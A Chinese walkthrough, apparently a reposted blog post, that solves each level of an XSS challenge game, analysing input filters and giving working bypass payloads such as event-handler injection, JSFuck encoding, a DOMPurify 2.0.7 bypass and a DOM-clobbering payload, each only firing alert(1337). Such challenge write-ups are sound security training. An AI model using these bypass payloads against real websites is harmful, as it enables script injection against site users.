XSS游戏

news2024/9/26 1:15:47

目录

  • XSS游戏-Warmups
  • Ma Spaghet!
  • Jefff
  • Ugandan Knuckles
  • Ricardo Milos
  • Ah That's Hawt
  • Ligma
  • Mafia
  • Ok, Boomer
  • WW3

XSS游戏-Warmups

Ma Spaghet!

在这里插入图片描述1. 尝试注入,输入aaaaaaaa
在这里插入图片描述
2. 显示在<h2>标签内在这里插入图片描述3. 输入标签,添加onmouseover属性值为alert(1337),JS解析运行
在这里插入图片描述

Jefff

在这里插入图片描述1. 闭合 ,破坏字符串拼接payload
在这里插入图片描述
在这里插入图片描述

Ugandan Knuckles

  1. 分析代码使用正则表达式 [<>] 来匹配并移除字符串中的 < 和 > 字符
    在这里插入图片描述
  2. 闭合 ” ,使用聚焦 onfocus 执行payload ,添加autoonfocus属性自动聚焦,绕过用户交互
    在这里插入图片描述

Ricardo Milos

在这里插入图片描述

  1. 直接输入 payload 尝试注入
    在这里插入图片描述

Ah That’s Hawt

  1. 分析代码使用正则表达式 /[()]/g来匹配并移除字符串中的( 、` 、) 和 \ 字符
    在这里插入图片描述
  2. 使用
  3. οnerrοr=location=“javascript:alert(1337)”:这是一个 onerror 事件处理程序,它会在图片加载失败时被触发。
    location=“javascript:alert(1337)” 试图在 onerror 事件中执行 JavaScript 代码。
    location 属性被用于执行 javascript: URL 作为一个脚本。
    在这里插入图片描述

Ligma

  1. 分析使用正则表达式 /[A-Za-z0-9]/g 将字符串中的所有字母和数字替换为空字符。
    结果是仅保留非字母和非数字字符的部分。例如,如果 balls 的值是 “alert(‘Hello’)”,在清理后将变成 “‘()’”。
    在这里插入图片描述
  2. 使用JSFuck将payload转码
    在这里插入图片描述
  3. 将转码后的payload转码URL
    在这里插入图片描述
  4. 注入payload

在这里插入图片描述

Mafia

  1. 分析slice(0, 50) 用于截取 mafia 字符串的前 50 个字符。这是为了限制处理的数据长度,防止过长的输入
  2. 使用正则表达式 /['"±!]/gi将字符串中的一些特殊字符(如反引号、单引号、双引号、加号、减号、感叹号、反斜杠、方括号)替换为下划线_
  3. 将 mafia 字符串中的 alert 替换为下划线 _
  4. JSFUCK不能用了
    在这里插入图片描述
  5. 大写绕过检测,toLowerCase()还原
    在这里插入图片描述
  6. 大写绕过检测,toLowerCase()还原,使用匿名函数执行payload
    在这里插入图片描述

Ok, Boomer

在这里插入图片描述

  1. DOMPurify.sanitize() 是一个库函数,用于清理并消除输入中的潜在恶意内容,从而防止 XSS 攻击
    在这里插入图片描述2. 来到 https://cdnjs.com/libraries/dompurify/2.0.7 查看有哪些过滤在这里插入图片描述

在这里插入图片描述

  1. 浏览器会自动将地址补全,所以需要用协议:地址的格式
    在这里插入图片描述3. 可以构造payload
?boomer=<a id=ok href=ftps:alert(1337)>

在这里插入图片描述

WW3

在这里插入图片描述

<div>
    <h4>Meme Code</h4>
    <textarea class="form-control" id="meme-code" rows="4"></textarea>
    <div id="notify"></div>
</div>

<script>
    /* Utils */
    const escape = (dirty) => unescape(dirty).replace(/[<>'"=]/g, '');
    const memeTemplate = (img, text) => {
        return (`<style>@import url('https://fonts.googleapis.com/css?family=Oswald:700&display=swap');`+
            `.meme-card{margin:0 auto;width:300px}.meme-card>img{width:300px}`+
            `.meme-card>h1{text-align:center;color:#fff;background:black;margin-top:-5px;`+
            `position:relative;font-family:Oswald,sans-serif;font-weight:700}</style>`+
            `<div class="meme-card"><img src="${img}"><h1>${text}</h1></div>`)
    }
    const memeGen = (that, notify) => {
        if (text && img) {
            template = memeTemplate(img, text)

            if (notify) {
                html = (`<div class="alert alert-warning" role="alert"><b>Meme</b> created from ${DOMPurify.sanitize(text)}</div>`)
            }

            setTimeout(_ => {
                $('#status').remove()
                notify ? ($('#notify').html(html)) : ''
                $('#meme-code').text(template)
            }, 1000)
        }
    }
</script>

<script>
    /* Main */
    let notify = false;
    let text = new URL(location).searchParams.get('text')
    let img = new URL(location).searchParams.get('img')
    if (text && img) {
        document.write(
            `<div class="alert alert-primary" role="alert" id="status">`+
            `<img class="circle" src="${escape(img)}" οnlοad="memeGen(this, notify)">`+
            `Creating meme... (${DOMPurify.sanitize(text)})</div>`
        )
    } else {
        $('#meme-code').text(memeTemplate('https://i.imgur.com/PdbDexI.jpg', 'When you get that WW3 draft letter'))
    }
</script>
  1. 分析:
    从 URL 查询参数中获取 text 和 img 的值。
    如果两个参数都存在:
    使用 document.write 创建一个 alert 样式的通知,提示正在生成 Meme,并加载图片。
    图片加载完成后调用 memeGen 函数来生成 Meme 和显示通知。
    如果 text 和 img 参数不存在:
    使用默认图片和文本生成 Meme 模板,并将其显示在 textarea 中。
    escape 函数用于清理输入,去除 URL 编码,并替换掉 <、>、'、" 和 = 等字符
  • payload:
?text=<img%20name%3dnotify><style><style%2F><script>alert(1337)%2F%2F&img=https://so2.360tres.com/sdm/420_207_/t01e5b5a11685455ccc.webp

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2053032.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

cloudcompare制作点云分割数据集

本文使用一个植物的数据集&#xff0c;进行标注从而能用于深度学习点云目标检测和分割任务 论文出处 Soybean-MVS: Annotated Three-Dimensional Model Dataset of Whole Growth Period Soybeans for 3D Plant Organ Segmentation 其中主要解决问题 如何使用网格mesh和点云进行…

番茄插件(Visual Assist)运行安装无反应的问题

1、运行安装无反应 直接双击运行没有反应&#xff0c;右键点击“以管理员方式运行”也没有反应。 &#xff08;只是蓝水的小圆圈转了一下后&#xff0c;就没有反应了&#xff09; 2、 则必须对程序的兼容性进行设置 3、安装程序就可以运行了 如下图&#xff1a;

【机器学习】CNN的基本架构模块

&#x1f308;个人主页: 鑫宝Code &#x1f525;热门专栏: 闲话杂谈&#xff5c; 炫酷HTML | JavaScript基础 ​&#x1f4ab;个人格言: "如无必要&#xff0c;勿增实体" 文章目录 CNN的基本架构模块1. 引言2. 卷积层2.1 基本原理2.2 卷积层的特性2.3 卷积层的超…

科三预约考试,为什么我场次排名在前,后面排名又变了

什么时候知道是否预约成功 系统确认考试预约结果的时间一般为考试前5-7个工作日&#xff0c;同时根据预约人数系统会自行判断提前1-2日或延长1-2日公示预约结果&#xff0c;学员至少考试前三天会收到预约成功短信通知。 如果预约失败了怎么办&#xff1f;会计入考试次数吗&am…

免费下载:1982-2020年全国逐月土壤湿度数据集(附下载方法)

欧洲空间局&#xff08;英文&#xff1a;European Space Agency&#xff09;&#xff0c;简称欧空局或ESA&#xff0c;成立于1975年&#xff0c;是一个致力于探索太空的政府间组织&#xff0c;拥有22个成员国&#xff0c;总部设在法国巴黎。欧洲航天局的太空飞行计划包括载人航…

【轻松拿捏】Java中ArrayList 和 LinkedList 的区别是什么?

ArrayList 和 LinkedList 的区别是什么&#xff1f; 1. ArrayList 2. LinkedList 3.总结 &#x1f388;边走、边悟&#x1f388;迟早会好 ArrayList 和 LinkedList 都是 Java 中常用的 List 接口的实现类&#xff0c;但它们在内部结构和操作性能上有所不同。 1. ArrayLis…

13. 雷达图

13. 雷达图 13.1 填充雷达图 self.add_heading("雷达图", level1)self.add_heading(填充雷达图, level2)self.add_space()# 传入个性化数据修改QuickFilledRadarChart方法的代码就好self.add_flowable(of_ex_quick_charts.QuickFilledRadarChart(width460, height18…

Threejs中的WebGPU实践(1-2)

更多精彩内容尽在 dt.sim3d.cn &#xff0c;关注公众号【sky的数孪技术】&#xff0c;技术交流、源码下载请添加VX&#xff1a;digital_twin123 此处接上文&#xff1a;Threejs中的WebGPU实践&#xff08;1-1&#xff09; 顶点着色器设置 现在我们已经对材质系统和 TSL 着色器…

《框架封装 · 优雅接口限流方案》

&#x1f4e2; 大家好&#xff0c;我是 【战神刘玉栋】&#xff0c;有10多年的研发经验&#xff0c;致力于前后端技术栈的知识沉淀和传播。 &#x1f497; &#x1f33b; CSDN入驻不久&#xff0c;希望大家多多支持&#xff0c;后续会继续提升文章质量&#xff0c;绝不滥竽充数…

权限审批也能这么人性化?没错,可道云teamOS让团队关系更和谐

作为一位企业管理者&#xff0c;我深知权限审批在企业管理中的重要性。它不仅仅是一个简单的流程&#xff0c;更是保障企业信息安全、提升团队协作效率的关键环节。 然而&#xff0c;过去我们常常面临权限审批流程繁琐、效率低下的问题&#xff0c;这不仅影响了我们的工作效率…

如何在 Odoo 16 Studio 模块中自定义视图和报告

为了有效地运营公司&#xff0c;需要定制的软件系统。Odoo 平台提供针对单个应用程序量身定制的管理解决方案和用户友好的界面&#xff0c;以便开发应用程序&#xff0c;而无需更复杂的后端功能。该平台支持使用简单的拖放功能和内置工具创建和修改更多定制的 Odoo 应用程序。企…

ubuntu如何监控Xvfb虚拟显示器

在Ubuntu中监控Xvfb显示器主要涉及到使用VNC服务器来远程访问这个环境。以下是一些基本步骤&#xff1a; 安装Xvfb和相关工具: 使用apt安装Xvfb和x11vnc&#xff0c;x11vnc是一个VNC服务器&#xff0c;可以远程访问Xvfb创建的虚拟桌面环境。 sudo apt-get install xvfb sudo ap…

Ciallo~(∠・ω・ )⌒☆第十九篇 mysql windows、Ubuntu安装与远程连接配置

一、安装windows版本的mysql &#xff08;一&#xff09;、安装mysql 1. 2. 3. 4. 5. &#xff08;二&#xff09;、测试mysql 这些步骤完成后记得去配置环境变量&#xff0c;path为mysql的安装目录这里我选择的是默认路径&#xff1a; C:\Program Files\MySQL\MySQL Serve…

零基础学习Redis(5) -- redis单线程模型介绍

前面我们提到过&#xff0c;redis是单线程的&#xff0c;这期我们详细介绍一下redis的单线程模型 1. redis单线程模型 redis只使用一个线程处理所有的请求&#xff0c;并不是redis服务器进程内部只有一个线程&#xff0c;其实也存在多个线程&#xff0c;只不过多个线程是在处…

MySQL常用函数、语法案例

本人MySQL5.7版本 表结构 假设有一个名为 order_summary 的表&#xff0c;其字段如下&#xff1a; order_id (INT): 订单的唯一标识符 customer_id (VARCHAR): 顾客的唯一标识符 order_date (DATETIME): 订单创建时间 total_amount (DECIMAL): 订单总金额 payment_status (E…

贪心+多维度dp

前言&#xff1a;处理简单版本的时候&#xff0c;想到了贪心&#xff0c;以及暴力求解顺便剪枝一下&#xff0c;要注意边界问题 haed版本的时候&#xff0c;完全行不通了&#xff0c;m的范围到了200&#xff0c;这是不可以暴力求解的 但是我不知道如何定义状态转移方程&#…

Hutool糊涂包JSON相关方法汇总

目录 1. JSON 对象 (JSONObject) 的创建 2. 向 JSONObject 添加键值对 3. 从 JSONObject 获取值 4. JSON 对象与字符串之间的转换 5. JSON 对象与 Java Bean&#xff08;POJO&#xff09;之间的转换 6. JSON 数组 (JSONArray) 的使用 7. JSON 数组与 Java List 之间的转…

Unity的UI设计

目录 创建和布局 布局与交互 性能优化 最佳实践 学习资源 Unity UI Toolkit与uGUI和IMGUI之间的具体区别和适用场景是什么&#xff1f; Unity UI Toolkit uGUI IMGUI 如何在Unity中实现响应式UI设计以适应不同设备尺寸&#xff1f; Unity UI性能优化的最新技术和方法…

8.MySQL知识巩固-牛客网练习题

目录 SQL228 批量插入数据 描述 SQL202 找出所有员工当前薪水salary情况 描述 示例1 SQL195 查找最晚入职员工的所有信息描述 示例1 SQL196 查找入职员工时间排名倒数第三的员工所有信息描述 SQL201查找薪水记录超过15条的员工号emp_no以及其对应的记录次数t 描述 SQL…